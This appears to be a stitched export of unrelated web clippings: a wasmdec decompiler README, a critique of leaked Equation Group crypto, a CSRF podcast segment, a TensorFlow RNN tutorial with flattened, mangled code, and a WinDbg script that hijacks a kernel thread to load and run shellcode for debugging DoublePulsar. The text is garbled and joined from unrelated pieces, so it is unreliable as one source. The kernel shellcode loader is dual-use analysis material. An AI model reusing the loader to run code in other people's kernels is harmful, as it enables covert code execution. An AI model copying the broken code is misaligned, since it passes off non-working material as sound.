Emscripten.

  * The WebAssembly binary is is always `http://static.diep.io/build_<BUILD HASH>.wasm.wasm`
  * The decompiled binary is avalible here

### wasmdec

wasmdec is capable of decompiling itself back to C.

  * The makefile has a `wasm` target that uses Emscripten to compile wasmdec to WebAssembly
  * The decompiled binary is avalible here

### WebDSP \(a signal processing library compiled to WASM\)

From the WebDSP repository:

[code]

    WebDSP is a collection of highly performant algorithms, which are designed to be building blocks for web applications that aim to operate on media data. The methods are written in C++ and compiled to WASM, and exposed as simple vanilla Javascript functions developers can run on the client side.
    
[/code]

  * A compiled version of the library is avalible on the WebDSP demo page
  * The decompiled library is avalible here

# Applications

A CTF write-up which uses wasmdec to reverse engineer a WASM binary

# Installing with release

  * Grab a release on the releases page and select the correct tarball for your OS and arch.
  * Extract and run `install.sh` as root.

# Installing manually

## Getting the code

Clone the repository with

[code]

    git clone https://github.com/wwwg/wasmdec.git --recursive
[/code]

Make sure the recursive flag is set to clone all the submodules.

## Building

To build wasmdec and install all of it's dependencies, run `sudo make all` in
the `wasmdec` directory. GCC 7 or higher is reccomended.

# Usage

[code]

    wasmdec -o (output file) (options) [input files]
[/code]

Where options is one of:

  * `-e` or `--extra` : Emits extra function information as comments: 
    * Raw WebAssembly names of functions
    * Number of local variables and parameters of functions
  * `-m` or `--memdump` : 
    * Dumps the binary's memory and table to disk
    * NOTE : memdump ONLY dumps memory and doesn't actually do any decompilation
  * `-d` or `--debug` : Print extra debug information to stdout
  * If no output file is specified, the default is `out.c`
  * When more than one input file is provided, wasmdec will decompile each WebAssembly to the same output file. Functions from more than one file are prefixed by their module name in order to prevent ambiguous function definitions.

  

# Equation Group Initial Impressions

**Created:**| _8/21/2016 10:20:27 AM_  
---|---  
**Updated:**| _8/21/2016 10:20:27 AM_  
**Author:**| __  
**Tags:**| __  
  

  

# Equation Group Initial Impressions

Aug 17, 2016 • Stephen Checkoway

A group calling itself the “Shadow Brokers” claimed to have stolen some of the
NSA’s “Equation Group’s” “cyber weapons.” A sample of the tools were made
publicly available with the others supposed available to the winner of an
auction. The _Washington Post_ is reporting that these are legitimate NSA
tools.

I decided to take a quick look at some of the “cyber weapons” this morning and
I’m pretty underwhelmed by their quality.

In particular, I looked at the BANANAGLEE BG2100 code for creating encryption
keys \(`keygen-2140`\) and redirecting communications
\(`bg_redirector-2140`\). Both of these are statically-linked Linux
executables.

## Keygen

The purpose of the keygen tool is to generate a 16-byte random number for use
by the other tools. This simple task can be accomplished by reading 16 bytes
from `/dev/urandom`. Here’s a one-liner to accomplish what they want.

[code]

    dd if=/dev/urandom bs=16 count=1 2>/dev/null |xxd -p
    
[/code]

Instead, 16-bytes are generated by the following procedure.

  1. Read 32 bytes from `/dev/urandom`.
  2. Use the first 4 of those bytes as an argument to `srandom(3)` to seed the non-cryptographic `random(3)` pseudorandom number generator.
  3. Generate 20 bytes with the following procedure for each byte. 
    1. Call `rand(3)` and throw away the result `(rand() % 2931)*(rand() % 242) + 2351` times.
    2. Call `rand(3)` again and use the least significant byte.
  4. Use the second 4 bytes from `/dev/urandom` as the argument to `srandom(3)` and repeat step 3 to generate another 20 bytes.
  5. Compute the SHA-1 hash of the 40 bytes.
  6. Output the most significant 16 bytes of the hash.

This is ridiculous. There’s no reason to read 32 bytes from `/dev/urandom`.
There’s no benefit to calling `rand(3)` so many times. \(It’s a little
ridiculous to be seeding with `srandom(3)` and calling `rand(3)`, but in this
particular implementation, `rand(3)` does nothing but call `random(3)`.\)

But worst of all, rather than having 2128 possible 128-bit keys, this
procedure can only produce 264 distinct keys\!

## Background redirector

The background redirector appears to listen for IP packets being sent from the
“attack” host to some particular other host and instead encrypts them and
sends them to a third host. It also listens for encrypted packets from the
third host, decrypts them, and sends them along to the attack host.

As near as I can tell, the idea is to make it look like the attack host is
sending data to and receiving data from the second host while actually
communicating with the third. That’s kinda neat.

But both the code and the crypto are bad. Very bad. The code has some boring
memory leaks. The protocol used for encrypted communication is much more
interesting.

I didn’t dive into it too deeply, but it appears to be encapsulating tcp or
udp packets into fragments of size 526 bytes, prepending a header, encrypting
part of the whole and sending it along.

The header consists of a 4-byte random number \(shared by each fragment
corresponding to a given IP packet\), an 8-byte initialization vector, a
4-byte magic number `0xDECAFBAD`, a 2-byte fragment number, a 2-byte total
number of fragments, and a 2-byte size.

Starting with the magic number field of the header, the packet is encrypted
using RC6 in output feedback mode. To compute the IV, a SHA-1 hash of the
plain text \(starting with the magic field of the header\) is computed and the
8 most significant bytes form the least significant 8 bytes of the 16-byte IV.
\(The most significant bytes of the IV are set to 0\). It’s important to note
that the random value identifying the fragments is not hashed into the IV.

I’m no cryptographer, but this seems _crazy_. An IV should never be reused for
a given key. And yet identical messages will produce identical IVs, even if
the keys are different. Perhaps there’s something that guarantees a message
will never be sent twice, but if I were designing this, I sure wouldn’t rely
on that property.

**Update:** Sean Devlin pointed out that leaking bits of the hash of the plain
text is also a pretty bad idea.

## Overall

I looked at two tools and found

  * 128-bit keys generated using 64 bits of entropy.
  * Apparently repeated IVs.
  * **\(Update\)** IV leaks bits of the hash of the plain text.
  * No authentication of the encrypted communication channel.
  * Sloppy and buggy code.

Maybe I simply picked bad tools and the others are all fantastic, but I kind
of doubt it. Overall, I’m not impressed by what I’ve seen here.

  

# google/syzkaller

**Created:**| _7/17/2017 11:32:42 AM_  
---|---  
**Updated:**| _7/17/2017 11:32:42 AM_  
**Author:**| __  
**Tags:**| _Fuzzer_  
  

  

syzkaller is an unsupervised, coverage-guided Linux system call fuzzer

  

# Episode82 - PaulDotCom Security Weekly

**Created:**| _8/5/2009 12:31:22 PM_  
---|---  
**Updated:**| _8/5/2009 12:31:33 PM_  
**Author:**| __  
**Tags:**| _web-app-sec pauldotcom_  
  

# Tech Segment: CSRF \(Cross-Site Request Forgery\)

## Intro

I want to put some effort and focus on the show into web application
vulnerabilities, because we don't talk about them enough. Furthermore, the
last time we talked about them, we sucked, so here's my effort to \*start\* to
redeem ourselves.

## History

CSRF is probably one of the oldest vulnerabilities in our field. It all
started with a paper in 1988, which I enjoyed reading so much as the tender
age of 11. Just kidding, the orginal paper was titled "The Confused Deputy:
\(or why capabilities might have been invented\)". In it Norman Hardy talks
about the deputy, or the program that is taking action on behalf of the user.
Wikipedia describes the passwd program, a user wishing to access its entry in
/etc/passwd needs to access the entire file, not just the users record. A
confused deputy is a program that can exploit this trust, and in the case of
the passwd program, change another users password, not just your own. Its up
to the passwd program itself to regulate and monitor this behavior, thus a bug
in passwd could result in a security breach for the entire system.

Fast forward to the year 2000, and a CERT advisory touches upon this very same
topic in the context of malicious code loaded from one web site abusing a
trust relationship,  _"At the heart of this vulnerability is the violation of
trust that results from the "injected" script or HTML running within the
security context established"_. Later on, this attack gets a name, CSRF \("sea
surf"\) by Peter Watkins in a posting to bugtraq. And in that, Peter brings us
to the crux of the issue:

[code]

    The problem is what I call CSRF (Cross-Site Request Forgeries, pronounced "sea surf"). Any time you can get a user to 
    open an HTML document, you can use things like IMG tags to forge requests, with that user's credentials, to any Web 
    site you want -- the one the HTML document is on, or any other.
    
    
[/code]

## The Attack

So, from a users perspective, you can be logged into your bank application,
click a link which brings you to another web site, the other web site executes
HTML/Javascript code, which interacts with the bank web application using the
credentials you've already supplied. This means, in theory, someone getting
you to click on a link while logged into your bank could transfer all of your
money to an offshore account. This is a bit scary because it bypasses so many
of those countermeasures we put in place and enstill on users, such as:

1\) SSL - You can have a perfectly secure SSL connection to your bank, and
this attack still works.

2\) Strong Passwords/Authentication - Click on as many pictures of monkeys,
fingerprint, secure tokens, 23 character random passwords with letters, upper
case, lower case, numbers, and special characters, and this attack still
works.

3\) Anti-virus/Anti-Spyware - LOL, thats all I have to say about that, LOL.

4\) Disable Javascript - I mean come, who does that anyway? Be CERTAIN to read
Jeremiah Grossman's and rsnake's presentation from BH.

## Prevention

Now, there are a few ways in which you can prevent this attack if you are the
owner of the web application:

1\) AND BEST WAY - Anti-CSRF token \- This means that you validate every form
submission with a unique token, so you are certain that the user actually
pushed the "submit" button.

2\) NOT BEST WAY - Referrer Link Checking - You can configure an Apache re-
write rule to check the referer field and make certain it only ever is the URL
of you web application. This is a cat and mouse game inside of a rat hole. You
have to carefully construct your re-write rule such that it can't be
"http://www.evilbadguy.com/www.mybank.com/". Also, there are flash player and
IE XMLHTTPRequest vulnerabilities that allow the referrer to be spoofed.
Furthermore, some people who are paranoid about privacy actually disable the
referrer functionality in the browser altogether. Are we out of the rathole
yet? Nope, because what if the application in question is your webmail app? A
user already in their mail could open another email, which could then perform
a CSRF attack to delete all of your email and empty the trash. Wouldn't that
suck? We're not done yet, if your app has an XSS hole, game is over because I
can then execute script code as if it was on your server, bypassing the
referrer checking.

User education goes a long way too, when you are working inside a web app,
don't have other pages open and don't click on any link or load other pages.
Not-so-easy in practice, but a good prevention. Some other items of note, the
attacker needs a fair amount of understanding to execute the attack to know
what commands to send to the web app to either modify or read data to/from it.
So, they need an account with the bank for example.

Conclusion: Old attacks are never really old, just named slightly different
and applied to today's technology. With functionality comes insecurity, so
phear the Internet\!

# RNNs in Tensorflow, a Practical Guide and Undocumented Features

**Created:**| _5/20/2017 8:55:45 PM_  
---|---  
**Updated:**| _5/20/2017 8:55:45 PM_  
**Author:**| __  
**Tags:**| _python machine-learning_  
  

  

# RNNs in Tensorflow, a Practical Guide and Undocumented Features

August 21, 2016

In a previous tutorial series I went over some of the theory behind Recurrent
Neural Networks \(RNNs\) and the implementation of a simple RNN from scratch.
That’s a useful exercise, but in practice we use libraries like Tensorflow
with high-level primitives for dealing with RNNs.

With that using an RNN should be as easy as calling a function, right?
Unfortunately that’s not quite the case. In this post I want to go over some
of the best practices for working with RNNs in Tensorflow, especially the
functionality that isn’t well documented on the official site.

The post comes with a Github repository that contains Jupyter notebooks with
minimal examples for:

  * Using tf.SequenceExample
  * Batching and Padding
  * Dynamic RNN
  * Bidirectional Dynamic RNN
  * RNN Cells and Cell Wrappers
  * Masking the Loss

### Preprocessing Data: Use tf.SequenceExample

**Check out the tf.SequenceExample Jupyter Notebook here\!**

RNNs are used for sequential data that has inputs and/or outputs at multiple
time steps. Tensorflow comes with a protocol buffer definition to deal with
such data: tf.SequenceExample.

You can load data directly from your Python/Numpy arrays, but it’s probably in
your best interest to use `tf.SequenceExample` instead. This data structure
consists of a “context” for non-sequential features and “feature\_lists” for
sequential features. It’s somewhat verbose \(it blew up my latest dataset by
10x\), but it comes with a few benefits that are worth it:

  * **Easydistributed training.** Split up data into multiple TFRecord files, each containing many SequenceExamples, and use Tensorflow’s built-in support for distributed training.
  * **Reusability.** Other people can re-use your model by bringing their own data into `tf.SequenceExample` format. No model code changes required.
  * **Use of Tensorflow data loading pipelines functions** like `tf.parse_single_sequence_example`. Libraries like tf.learn also come with convenience function that expect you to feed data in protocol buffer format.
  * **Separation of data preprocessing and model code.** Using `tf.SequenceExample` forces you to separate your data preprocessing and Tensorflow model code. This is good practice, as your model shouldn’t make any assumptions about the input data it gets.

In practice, you write a little script that converts your data into
`tf.SequenceExample` format and then writes one or more TFRecord files. These
TFRecord files are parsed by Tensorflow to become the input to your model:

  1. Convert your data into `tf.SequenceExample` format 
  2. Write one or more TFRecord files with the serialized data
  3. Use `tf.TFRecordReader` to read examples from the file
  4. Parse each example using `tf.parse_single_sequence_example` \(Not in the official docs yet\)

`sequences ``=` `[[``1``, ``2``, ``3``], [``4``, ``5``, ``1``], [``1``,
``2``]]``label_sequences ``=` `[[``0``, ``1``, ``0``], [``1``, ``0``, ``0``],
[``1``, ``1``]]` `def` `make_example(sequence, labels):`` ``# The object we
return`` ``ex ``=` `tf.train.SequenceExample()`` ``# A non-sequential feature
of our example`` ``sequence_length ``=` `len``(sequence)``
``ex.context.feature[``"length"``].int64_list.value.append(sequence_length)``
``# Feature lists for the two sequential features of our example`` ``fl_tokens
``=` `ex.feature_lists.feature_list[``"tokens"``]`` ``fl_labels ``=`
`ex.feature_lists.feature_list[``"labels"``]`` ``for` `token, label ``in`
`zip``(sequence, labels):``
``fl_tokens.feature.add().int64_list.value.append(token)``
``fl_labels.feature.add().int64_list.value.append(label)`` ``return` `ex` `#
Write all examples into a TFRecords file``with tempfile.NamedTemporaryFile()
as fp:`` ``writer ``=` `tf.python_io.TFRecordWriter(fp.name)`` ``for`
`sequence, label_sequence ``in` `zip``(sequences, label_sequences):`` ``ex
``=` `make_example(sequence, label_sequence)``
``writer.write(ex.SerializeToString())`` ``writer.close()`  
---  
And, to parse an example:

`# A single serialized example``# (You can read this from a file using
TFRecordReader)``ex ``=` `make_example([``1``, ``2``, ``3``], [``0``, ``1``,
``0``]).SerializeToString()` `# Define how to parse the
example``context_features ``=` `{`` ``"length"``: tf.FixedLenFeature([],
dtype``=``tf.int64)``}``sequence_features ``=` `{`` ``"tokens"``:
tf.FixedLenSequenceFeature([], dtype``=``tf.int64),`` ``"labels"``:
tf.FixedLenSequenceFeature([], dtype``=``tf.int64)``}` `# Parse the
example``context_parsed, sequence_parsed ``=`
`tf.parse_single_sequence_example(`` ``serialized``=``ex,``
``context_features``=``context_features,``
``sequence_features``=``sequence_features``)`  
---  
### Batching and Padding Data

**Check out the Jupyer Notebook on Batching and Padding here\!**

Tensorflow’s RNN functions expect a tensor of shape `[B, T, ...]` as input,
where `B` is the batch size and `T` is the length in time of each input \(e.g.
the number of words in a sentence\). The last dimensions depend on your data.
Do you see a problem with this? Typically, not all sequences in a single batch
are of the same length T, but in order to feed them into the RNN they must be.
Usually that’s done by padding them: Appending `0`‘s to examples to make them
equal in length.

Now imagine that one of your sequences is of length 1000, but the average
length is 20. If you pad all your examples to length 1000 that would be a huge
waste of space \(and computation time\)\! That’s where batch padding comes in.
If you create batches of size 32, you only need to pad examples within the
batch to the same length \(the maximum length of examples in that batch\).
That way, a really long example will only affect a single batch, not all of
your data.

That all sounds pretty messy to deal with. Luckily, Tensorflow has built-in
support for batch padding. If you set `dynamic_pad=True` when calling
`tf.train.batch` the returned batch will be automatically padded with 0s.
Handy\! A lower-level option is to use tf.PaddingFIFOQueue.

#### Side note: Be careful with 0’s in your vocabulary/classes

If you have a classification problem and your input tensors contain class IDs
\(0, 1, 2, …\) then you need to be careful with padding. Because you are
padding tensos with 0’s you may not be able to tell the difference between
0-padding and “class 0”. Whether or not this can be a problem depends on what
your model does, but if you want to be safe it’s a good idea to not use “class
0” and instead start with “class 1”. \(An example of where this may become a
problem is in masking the loss function. More on that later\).

`# [0, 1, 2, 3, 4 ,...]``x ``=` `tf.``range``(``1``, ``10``, name``=``"x"``)`
`# A queue that outputs 0,1,2,3,...``range_q ``=`
`tf.train.range_input_producer(limit``=``5``, shuffle``=``False``)``slice_end
``=` `range_q.dequeue()` `# Slice x to variable length, i.e. [0], [0, 1], [0,
1, 2], ....``y ``=` `tf.``slice``(x, [``0``], [slice_end], name``=``"y"``)` `#
Batch the variable length tensor with dynamic padding``batched_data ``=`
`tf.train.batch(`` ``tensors``=``[y],`` ``batch_size``=``5``,``
``dynamic_pad``=``True``,`` ``name``=``"y_batch"``)` `# Run the graph``#
tf.contrib.learn takes care of starting the queues for us``res ``=`
`tf.contrib.learn.run_n({``"y"``: batched_data}, n``=``1``,
feed_dict``=``None``)` `# Print the result``print``(``"Batch shape:
{}"``.``format``(res[``0``][``"y"``].shape))``print``(res[``0``][``"y"``])`  
---  
This gives:

`Batch shape: (5, 4)``[[0 0 0 0]`` ``[1 0 0 0]`` ``[1 2 0 0]`` ``[1 2 3 0]``
``[1 2 3 4]]`  
---  
And, the same with `PaddingFIFOQueue`:

`# ... Same as above` `# Creating a new queue``padding_q ``=`
`tf.PaddingFIFOQueue(`` ``capacity``=``10``,`` ``dtypes``=``tf.int32,``
``shapes``=``[[``None``]])` `# Enqueue the examples``enqueue_op ``=`
`padding_q.enqueue([y])` `# Add the queue runner to the graph``qr ``=`
`tf.train.QueueRunner(padding_q, [enqueue_op])``tf.train.add_queue_runner(qr)`
`# Dequeue padded data``batched_data ``=` `padding_q.dequeue_many(``5``)` `#
... Same as above`  
---  
### rnn vs. dynamic\_rnn

**Check out the dynamic\_rnn Jupyter Notebook here\!**

You may have noticed that Tensorflow contains two different functions for
RNNs: `tf.nn.rnn` and `tf.nn.dynamic_rnn`. Which one to use?

Internally, `tf.nn.rnn` creates an unrolled graph for a fixed RNN length. That
means, if you call `tf.nn.rnn` with inputs having 200 time steps you are
creating a static graph with 200 RNN steps. First, graph creation is slow.
Second, you’re unable to pass in longer sequences \(> 200\) than you’ve
originally specified.

`tf.nn.dynamic_rnn` solves this. It uses a `tf.While` loop to dynamically
construct the graph when it is executed. That means graph creation is faster
and you can feed batches of variable size. What about performance? You may
think the static rnn is faster than its dynamic counterpart because it pre-
builds the graph. In my experience that’s not the case.

In short, **just use tf.nn.dynamic\_rnn**. There is no benefit to `tf.nn.rnn`
and I wouldn’t be surprised if it was deprecated in the future.

#### Passing sequence\_length to your RNN

**Check out the Jupyter Notebook on Bidirectional RNNs here\!**

When using any of Tensorflow’s rnn functions with padded inputs it is
important to pass the `sequence_length` parameter. In my opinion this
parameter should be required, not optional. `sequence_length` serves two
purposes: 1. Save computational time and 2. Ensure Correctness.

Let’s say you have a batch of two examples, one is of length 13, and the other
of length 20. Each one is a vector of 128 numbers. The length 13 example is
0-padded to length 20. Then your RNN input tensor is of shape `[2, 20, 128]`.
The dynamic\_rnn function returns a tuple of \(outputs, state\), where
`outputs` is a tensor of size `[2, 20, ...]` with the last dimension being the
RNN output at each time step. `state` is the last state for each example, and
it’s a tensor of size `[2, ...]` where the last dimension also depends on what
kind of RNN cell you’re using.

So, here’s the problem: Once your reach time step 13, your first example in
the batch is already “done” and you don’t want to perform any additional
calculation on it. The second example isn’t and must go through the RNN until
step 20. By passing `sequence_length=[13,20]` you tell Tensorflow to stop
calculations for example 1 at step 13 and simply copy the state from time step
13 to the end. The output will be set to 0 for all time steps past 13. You’ve
just saved some computational cost. But more importantly, if you didn’t pass
`sequence_length` you would get incorrect results\! Without passing
`sequence_length`, Tensorflow will continue calculating the state until T=20
instead of simply copying the state from T=13. This means you would calculate
the state using the padded elements, which is not what you want.

`# Create input data``X ``=` `np.random.randn(``2``, ``10``, ``8``)` `# The
second example is of length 6 ``X[``1``,``6``:] ``=` `0``X_lengths ``=`
`[``10``, ``6``]` `cell ``=` `tf.nn.rnn_cell.LSTMCell(num_units``=``64``,
state_is_tuple``=``True``)` `outputs, last_states ``=` `tf.nn.dynamic_rnn(``
``cell``=``cell,`` ``dtype``=``tf.float64,``
``sequence_length``=``X_lengths,`` ``inputs``=``X)` `result ``=`
`tf.contrib.learn.run_n(`` ``{``"outputs"``: outputs, ``"last_states"``:
last_states},`` ``n``=``1``,`` ``feed_dict``=``None``)` `assert`
`result[``0``][``"outputs"``].shape ``=``=` `(``2``, ``10``, ``64``)` `#
Outputs for the second example past past length 6 should be 0``assert`
`(result[``0``][``"outputs"``][``1``,``7``,:] ``=``=`
`np.zeros(cell.output_size)).``all``()`  
---  
### Bidirectional RNNs

When using a standard RNN to make predictions we are only taking the “past”
into account. For certain tasks this makes sense \(e.g. predicting the next
word\), but for some tasks it would be useful to take both the past and the
future into account. Think of a tagging task, like part-of-speech tagging,
where we want to assign a tag to each word in a sentence. Here we already know
the full sequence of words, and for each word we want to take not only the
words to the left \(past\) but also the words to the right \(future\) into
account when making a prediction. Bidirectional RNNs do exactly that. A
bidirectional RNN is a combination of two RNNs – one runs forward from “left
to right” and one runs backward from “right to left”. These are commonly used
for tagging tasks, or when we want to embed a sequence into a fixed-length
vector \(beyond the scope of this post\).

Just like for standard RNNs, Tensorflow has static and dynamic versions of the
bidirectional RNN. As of the time of this writing, the
`bidirectional_dynamic_rnn` is still undocumented, but it’s preferred over the
static `bidirectional_rnn`.

The key differences of the bidirectional RNN functions are that they take a
separate cell argument for both the forward and backward RNN, and that they
return separate outputs and states for both the forward and backward RNN:

`X ``=` `np.random.randn(``2``, ``10``, ``8``)` `X[``1``,``6``,:] ``=`
`0``X_lengths ``=` `[``10``, ``6``]` `cell ``=`
`tf.nn.rnn_cell.LSTMCell(num_units``=``64``, state_is_tuple``=``True``)`
`outputs, states ``=` `tf.nn.bidirectional_dynamic_rnn(``
``cell_fw``=``cell,`` ``cell_bw``=``cell,`` ``dtype``=``tf.float64,``
``sequence_length``=``X_lengths,`` ``inputs``=``X)` `output_fw, output_bw ``=`
`outputs``states_fw, states_bw ``=` `states`  
---  
### RNN Cells, Wrappers and Multi-Layer RNNs

**Check out the Jupyter Notebook on RNN Cells here\!**

All Tensorflow RNN functions take a `cell` argument. LSTMs and GRUs are the
most commonly used cells, but there are many others, and not all of them are
documented. Currently, the best way to get a sense of what cells are available
is to look at at rnn\_cell.py and contrib/rnn\_cell.

As of the time of this writing, the basic RNN cells and wrappers are:

  * `BasicRNNCell` – A vanilla RNN cell.
  * `GRUCell` – A Gated Recurrent Unit cell. 
  * `BasicLSTMCell` – An LSTM cell based on Recurrent Neural Network Regularization. No peephole connection or cell clipping.
  * `LSTMCell` – A more complex LSTM cell that allows for optional peephole connections and cell clipping. 
  * `MultiRNNCell` – A wrapper to combine multiple cells into a multi-layer cell.
  * `DropoutWrapper` – A wrapper to add dropout to input and/or output connections of a cell.

and the contributed RNN cells and wrappers:

  * `CoupledInputForgetGateLSTMCell` – An extended `LSTMCell` that has coupled input and forget gates based on LSTM: A Search Space Odyssey.
  * TimeFreqLSTMCell – Time-Frequency LSTM cell based on Modeling Time-Frequency Patterns with LSTM vs. Convolutional Architectures for LVCSR Tasks
  * `GridLSTMCell` – The cell from Grid Long Short-Term Memory.
  * `AttentionCellWrapper` – Adds attention to an existing RNN cell, based on Long Short-Term Memory-Networks for Machine Reading.
  * `LSTMBlockCell` – A faster version of the basic LSTM cell \(Note: this one is in `lstm_ops.py`\)

Using these wrappers and cells is simple, e.g.

`cell ``=` `tf.nn.rnn_cell.LSTMCell(num_units``=``64``,
state_is_tuple``=``True``)``cell ``=`
`tf.nn.rnn_cell.DropoutWrapper(cell``=``cell,
output_keep_prob``=``0.5``)``cell ``=`
`tf.nn.rnn_cell.MultiRNNCell(cells``=``[cell] ``*` `4``,
state_is_tuple``=``True``)`  
---  
### Calculating sequence loss on padded examples

**Check out the Jupyter Notebook on Calculating Loss here\!**

For sequence prediction tasks we often want to make a prediction at each time
step. For example, in Language Modeling we try to predict the next word for
each word in a sentence. If all of your sequences are of the same length you
can use Tensorflow’s sequence\_loss and sequence\_loss\_by\_example functions
\(undocumented\) to calculate the standard cross-entropy loss.

However, as of the time of this writing `sequence_loss` does not support
variable-length sequences \(like the ones you get from a dynamic\_rnn\).
Naively calculating the loss at each time step doesn’t work because that would
take into account the padded positions. The solution is to create a weight
matrix that “masks out” the losses at padded positions.

Here you can see why 0-padding can be a problem when you also have a
“0-class”. If that’s the case you cannotuse `tf.sign(tf.to_float(y))` to
create a mask because that would mask out the “0-class” as well. You can still
create a mask using the sequence length information, it just becomes more
complicated.

`# Batch size``B ``=` `4``# (Maximum) number of time steps in this batch``T
``=` `8``RNN_DIM ``=` `128``NUM_CLASSES ``=` `10` `# The *acutal* length of
the examples``example_len ``=` `[``1``, ``2``, ``3``, ``8``]` `# The classes
of the examples at each step (between 1 and 9, 0 means padding)``y ``=`
`np.random.randint(``1``, ``10``, [B, T])``for` `i, length ``in`
`enumerate``(example_len):`` ``y[i, length:] ``=` `0` ` ` `# The RNN
outputs``rnn_outputs ``=` `tf.convert_to_tensor(np.random.randn(B, T,
RNN_DIM), dtype``=``tf.float32)` `# Output layer weights``W ``=`
`tf.get_variable(`` ``name``=``"W"``,``
``initializer``=``tf.random_normal_initializer(),`` ``shape``=``[RNN_DIM,
NUM_CLASSES])` `# Calculate logits and probs``# Reshape so we can calculate
them all at once``rnn_outputs_flat ``=` `tf.reshape(rnn_outputs, [``-``1``,
RNN_DIM])``logits_flat ``=` `tf.batch_matmul(rnn_outputs_flat, W)``probs_flat
``=` `tf.nn.softmax(logits_flat)` `# Calculate the losses ``y_flat ``=`
`tf.reshape(y, [``-``1``])``losses ``=`
`tf.nn.sparse_softmax_cross_entropy_with_logits(logits_flat, y_flat)` `# Mask
the losses``mask ``=` `tf.sign(tf.to_float(y_flat))``masked_losses ``=` `mask
``*` `losses` `# Bring back to [B, T] shape``masked_losses ``=`
`tf.reshape(masked_losses, tf.shape(y))` `# Calculate mean
loss``mean_loss_by_example ``=` `tf.reduce_sum(masked_losses,
reduction_indices``=``1``) ``/` `example_len``mean_loss ``=`
`tf.reduce_mean(mean_loss_by_example)`  
---  
Posted in: Language Modeling, Neural Networks, Recurrent Neural Networks,
Tensorflow

  

# Loading and Debugging Windows Kernel Shellcodes with Windbg. Debugging
DoublePulsar Shellcode.

**Created:**| _6/29/2017 4:02:21 PM_  
---|---  
**Updated:**| _6/29/2017 4:02:21 PM_  
**Author:**| __  
**Tags:**| __  
  

  

# Loading and Debugging Windows Kernel Shellcodes with Windbg. Debugging
DoublePulsar Shellcode.

<img src='img/7dea9e9e1eb63276776f4a4c6662e7ef.png' width='24' height='24' />
jvvallejo

6 days ago

In this article i’d like to share a windbg script that will let us to load a
shellcode from a file to kernel memory and create a kernel thread to execute
it. I have not played a lot with the script yet, if you find some bug please
tell me.

##

## Windbg Script for loading the shellcode and creating a thread for running
it

You can find the script in my github:

load\_code\_to\_kernel\_memory.wdbg

The parameters of the script:

$$>a<load\_code\_to\_kernel\_memory.wdbg <src code> <mem size> <offset start
routine>

The first argument is the path to the file containing the shellcode. The
second one is the size of the memory to reserve \(enought for allocating the
shellcode\). The third parameter is the offset into the shellcode where we
want the thread starts to execute.

Careful: The size of the file with the shellcode should be padded to fit a
multiple of page size. We are using the command .readmem to load the
shellcode, and it will read blocks of 0x1000 bytes. For example, if your
shellcode file has 0x2800 bytes, .readmem will load 0x2000 bytes only. You
will need to complete the file with 0x800 additional trash bytes to load the
full code.

### A quick explanation about the script

We will need to hijack a running thread for a while. We want to redirect that
thread execution to ExAllocatePool to reserve memory for the shellcode \(we
will manipulate the stack of the hijacked thread to do that, and we will
restore it later\).

For this purpose, we will set a breakpoint at NtCreateFile \(a frequently
called function\). When we have the thread stopped there, we can manipulate
it:

> $$set a breakpoint on a common function that is executed frequently
> \(NtCreateFile for example\) for hijacking the thread for a while
> ba e1 nt\!NtCreateFile  
>  g
> .printf “$\{$arg1\}”  
>  .printf “$\{$arg2\}”  
>  .printf “$\{$arg3\}”
> bc \*
> $$save original esp register and stack parameters that we are going to
> overwrite when calling ExAllocatePool and PsCreateSystemThread
> r @$t19 = \(poi esp\)  
>  r @$t18 = \(poi esp+4\)  
>  r @$t17 = \(poi esp+8\)  
>  r @$t16 = \(poi esp+c\)  
>  r @$t15 = \(poi esp+10\)  
>  r @$t14 = \(poi esp+14\)  
>  r @$t13 = \(poi esp+18\)  
>  r @$t12 = \(poi esp+1c\)  
>  r @$t11 = esp
Once we have the thread, we will change eip and stack to execute
ExAllocatePool:

> $$change the stack with the parameters that we need for ExAllocatePool
> ed \(esp+4\) 0  
>  ed \(esp+8\) $\{$arg2\}
> $$hijack the thread running on NtCreateFile to execute ExAllocatePool
> u nt\!ExAllocatePool  
>  dd esp  
>  r eip = nt\!ExAllocatePool
> $$steps until the ret instruction is found. We cant execute step out \(gu\)
> because we would get a 0x30 bugcheck, this is the reason:  
>  $$ “This bug check occurs when there’s a stack underflow detected when
> restoring context coming out of a trap. There’s a check to  
>  $$ validate that the current ESP is less than the ESP saved in the trap
> frame. If current\_esp < saved\_esp, bugcheck. ”
> .while \(1\)  
>  \{  
>  p  
>  r @$t10 = \(poi eip\)  
>  r @$t10 = @$t10 & 0x000000ff
> .if \(@$t10 == 0xc2\)  
>  \{  
>  .break  
>  \}  
>  \}
> r @$t0 = eax
> .printf “allocated mem: %x\n”, @$t0
Now we have allocated enought space for the shellcode, so load it:

> $$load code from file to allocated memory
> $$careful: .readmem will read blocks of 0x1000 bytes. For example, if your
> file to load has 0x2800 bytes, .readmem will load 0x2000 bytes only.  
>  $$You will need to complete the file with 0x800 additional trash bytes to
> load the full code
> .readmem $\{$arg1\} @$t0
> $$ @$t1 = allocated mem membase, code is read
> r @$t1 = @$t0
And now, we want to create a thread on shellcode + arg3:

> $$Now we are going to create a kernel thread at @$t1 + arg3 \(membase +
> startroutine\_offset\)
> $$ NTSTATUS PsCreateSystemThread\(  
>  $$ \_Out\_ PHANDLE ThreadHandle,  
>  $$ \_In\_ ULONG DesiredAccess,  
>  $$ \_In\_opt\_ POBJECT\_ATTRIBUTES ObjectAttributes,  
>  $$ \_In\_opt\_ HANDLE ProcessHandle,  
>  $$ \_Out\_opt\_ PCLIENT\_ID ClientId,  
>  $$ \_In\_ PKSTART\_ROUTINE StartRoutine,  
>  $$ \_In\_opt\_ PVOID StartContext  
>  $$ \);
> ed \(esp+1c\) 0  
>  ed \(esp+18\) @$t1+$\{$arg3\}  
>  ed \(esp+14\) 0  
>  ed \(esp+10\) 0  
>  ed \(esp+c\) 0  
>  ed \(esp+8\) 0  
>  $$ThreadHandle inout, we use the memory of the parameter StartContext that
> we dont need  
>  ed \(esp+4\) \(esp+1c\)
> $$set a breakpoint where the thread is going to be created
> ba e1 @$t1+$\{$arg3\}
> u nt\!PsCreateSystemThread  
>  dd esp  
>  r eip = nt\!PsCreateSystemThread
> $$again steps until ret instruction is found
> .while \(1\)  
>  \{  
>  p  
>  r @$t10 = \(poi eip\)  
>  r @$t10 = @$t10 & 0x000000ff
> .if \(@$t10 == 0xc2\)  
>  \{  
>  .break  
>  \}  
>  \}
Finally, we restore stack and eip to continue the execution of the hijacked
thread correctly at NtCreateFile, or the system will crash:

> $$restore original registers and stack to continue the execution with no
> problems
> r eip = nt\!NtCreateFile  
>  r esp = @$t11  
>  ed esp @$t19  
>  ed \(esp+4\) @$t18  
